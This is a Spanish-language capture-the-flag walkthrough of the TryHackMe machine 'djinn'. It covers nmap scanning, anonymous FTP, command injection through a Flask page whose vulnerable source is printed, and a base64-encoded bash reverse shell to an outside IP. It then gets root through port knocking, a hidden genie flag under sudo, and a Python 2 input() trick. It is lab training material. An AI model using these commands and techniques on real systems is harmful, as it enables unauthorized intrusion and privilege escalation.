This page looks best with JavaScript enabled

TryHackMe - djinn

 ·  ☕ 8 min read  ·  ✍️ sckull

djinn es una maquina de TryHackMe aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Titulo djinn
Info Intermediate level vulnerable box.
Puntos 60
Dificultad Medio
Maker falconfeast

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto smb (445), ldap (139) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Nmap 7.80 scan initiated Sat Aug  1 11:03:49 2020 as: nmap -sV -o nmap_scan_mini djinn.thm
Nmap scan report for djinn.thm (10.10.181.33)
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE    SERVICE VERSION
21/tcp open     ftp     vsftpd 3.0.3
22/tcp filtered ssh
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  1 11:03:57 2020 -- 1 IP address (1 host up) scanned in 7.89 seconds

# Nmap 7.80 scan initiated Sat Aug  1 11:03:02 2020 as: nmap -sV -p- -T5 -o nmap_scan djinn.thm
Warning: 10.10.181.33 giving up on port because retransmission cap hit (2).
Nmap scan report for djinn.thm (10.10.181.33)
Host is up (0.25s latency).
Not shown: 65115 closed ports, 417 filtered ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
1337/tcp open  waste?
7331/tcp open  http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.80%I=7%D=8/1%Time=5F2594CD%P=x86_64-pc-linux-gnu%r(NUL
SF:L,1BC,"\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x
SF:20_\x20_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20_
SF:_\x20___\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x
SF:20`\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x2
SF:0`\x20_\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x
SF:20\|\x20\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|
SF:\x20\|\x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x
SF:20\|_\|\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n
SF:\nLet's\x20see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths\
SF:nAnswer\x20my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20y
SF:ou\x20your\x20gift\.\n\(7,\x20'\*',\x209\)\n>\x20")%r(RPCCheck,1BC,"\x2
SF:0\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x20_\x20_\x
SF:20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20__\x20___\x
SF:20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x20`\x20_\x
SF:20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x2
SF:0\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x20\|\x20\|
SF:\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20
SF:\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x20\|_\|\\_
SF:__\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nLet's\x2
SF:0see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths\nAnswer\x2
SF:0my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20you\x20your
SF:\x20gift\.\n\(8,\x20'\+',\x206\)\n>\x20");
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  1 11:15:40 2020 -- 1 IP address (1 host up) scanned in 758.06 seconds

FTP

En el puerto 21 FTP logramos ingresar como anonymous en donde encontramos tres archivos, uno que contiene lo que parece ser credenciales, el segundo un mensaje para @nitish81299 (nada interesante en Github y Twitter) y un posible nombre de usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
root@upset:~/thm/djinn# ftp djinn.thm 
Connected to djinn.thm.
220 (vsFTPd 3.0.3)
Name (djinn.thm:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        115          4096 Oct 21  2019 .
drwxr-xr-x    2 0        115          4096 Oct 21  2019 ..
-rw-r--r--    1 0        0              11 Oct 20  2019 creds.txt
-rw-r--r--    1 0        0             128 Oct 21  2019 game.txt
-rw-r--r--    1 0        0             113 Oct 21  2019 message.txt
226 Directory send OK.
ftp> get creds.txt
local: creds.txt remote: creds.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for creds.txt (11 bytes).
226 Transfer complete.
11 bytes received in 0.00 secs (54.5289 kB/s)
ftp> get game.txt
local: game.txt remote: game.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for game.txt (128 bytes).
226 Transfer complete.
128 bytes received in 0.00 secs (968.9923 kB/s)
ftp> get message.txt
local: message.txt remote: message.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for message.txt (113 bytes).
226 Transfer complete.
113 bytes received in 0.00 secs (144.6285 kB/s)
ftp> exit
221 Goodbye.
root@upset:~/thm/djinn# ls
creds.txt  game.txt  message.txt  nmap_scan_mini
root@upset:~/thm/djinn# cat creds.txt 
nitu:[... REDACTED ...]
root@upset:~/thm/djinn# cat message.txt 
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.
root@upset:~/thm/djinn# cat game.txt 
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.
root@upset:~/thm/djinn#

HTTP

Encontramos una pagina web en el puerto 7331.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
root@upset:~/thm/djinn# gobuster dir -u http://djinn.thm:7331/ -w /usr/share/wordlists/dirbuster/directory-list-medium.txt -q -t 25 -x php,html,txt
/wish
/genie

WWW-DATA - USER

Encontramos una pagina /wish donde al ingresar un comando, este se ejecuta pero el resultado lo muestra en una url redireccionada.
image
image

Ejecutamos una shell codificada:

1
2
3
4
#Shell
echo  -n 'bash -i >& /dev/tcp/10.10.10.10/1338 0>&1"' |base64
#Ejecutamos
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC8xMzM4IDA+JjEi|base64 -d|bash

Obtenemos una shell con el usuario www-data.
image

NITISH - USER

En el archivo app.py el cual ejecuta la pagina anterior encontramos una direccion a un archivo, este archivo contiene lo que parecen credenciales del usuario nitish.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import subprocess

from flask import Flask, redirect, render_template, request, url_for

app = Flask(__name__)
app.secret_key = "key"

+ CREDS = "/home/nitish/.dev/creds.txt"

RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]


def validate(cmd):
    if CREDS in cmd and "cat" not in cmd:
        return True

    try:
        for i in RCE:
            for j in cmd:
                if i == j:
                    return False
        return True
    except Exception:
        return False


@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")


@app.route("/wish", methods=['POST', "GET"])
def wish():
    execute = request.form.get("cmd")
    if execute:
        if validate(execute):
            output = subprocess.Popen(execute, shell=True,
                                      stdout=subprocess.PIPE).stdout.read()
        else:
            output = "Wrong choice of words"

        return redirect(url_for("genie", name=output))
    else:
        return render_template('wish.html')

@app.route('/genie', methods=['GET', 'POST'])
def genie():
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = "It's not that hard"

    return render_template('genie.html', file=page)


if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True)

Utilizamos la contraseña con el usuario y logramos obtener una shell con el usuario nitish y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el comando genie esto con el usuario sam sin contraseña.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
nitish@djinn:~$ sudo -l -l
sudo -l -l
Matching Defaults entries for nitish on djinn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nitish may run the following commands on djinn:

Sudoers entry:
    RunAsUsers: sam
    Options: !authenticate
    Commands:
	/usr/bin/genie
nitish@djinn:~$

Otro de los hallazgos que hicimos es un archivo de configuracion de knock

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
nitish@djinn:/etc$ cat knockd.conf
cat knockd.conf
[options]
	UseSyslog

[openSSH]
	sequence    = 1356, 6784, 3409
	seq_timeout = 5
	command     = /sbin/iptables -I INPUT 1 -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

[closeSSH]
	sequence    = 3409, 6784, 1356
	seq_timeout = 5
	command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

Utilizamos la secuencia para obtener una shell en SSH.
image

Ahora si, seguimos investigando sobre /usr/bin/genie, le pasamos los parametros que pide este ejecutable, esperando a que ejecute nuestro comando, pero al parecer no se agrega en ningun tipo de cron o proceso

1
2
3
4
nitish@djinn:/etc$ /usr/bin/genie -p bash -g -e "ping -c 5 10.2.29.162" wish
/usr/bin/genie -p bash -g -e "ping -c 5 10.2.29.162" wish
We've added your wish to our records.
Continue praying!!

En la documentacion de este ejecutable encontramos un parametro que no aparece en el ejecutable al mostrar la ayuda (-h), agregamos este parametro junto al usuario sam. Logramos obtener una shell con este ultimo usuario. Hicimos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el comando lago.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
nitish@djinn:~$ sudo -u sam /usr/bin/genie -cmd gg
my man!!
$ whoami
sam
$ sudo -l -l 
Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/root/lago
$

Ejecutamos este comando y nos muestra diferentes opciones pero ninguna de estas nos deja escalar privilegios. En la carpeta de este usuario encontramos un archivo .pyc el cual al leer las strings encontramos las mismas que el comando lago muestra.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ strings .pyc
getuser(
system(
randintc
Working on it!! (
/home/mzfr/scripts/exp.pyt
naughtyboi
Choose a number between 1 to 100: s
Enter your number: s
/bin/shs
Better Luck next time(
inputR
numt
/home/mzfr/scripts/exp.pyt
[... REDACTED ...]

Copiamos este archivo a nuestra maquina y utilizamos uncompyle6. Vemos en el codigo fuente, especificamente en la fucnion guessit() vemos que hace una comparacion de la variable s con num, en el input no realiza ninguna validacion de si lo ingresado es un entero o string, en esta funcion al adivinar el numero devuelve una shell con usuario root. Para poder aprovecharnos de este script vamos a ingresar el nombre de la variable num ya que la variable s no tiene ningun tipo de validacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# uncompyle6 version 3.7.3
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.2 (default, Apr  1 2020, 15:52:55) 
# [GCC 9.3.0]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 07:05:18
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!!'

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

[... REDACTED ...]

if __name__ == '__main__':
    main(options())
# okay decompiling file_pyc.pyc

Logramos obtener nuestra shell con usuario root y flag user.txt.
image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

THM: djinn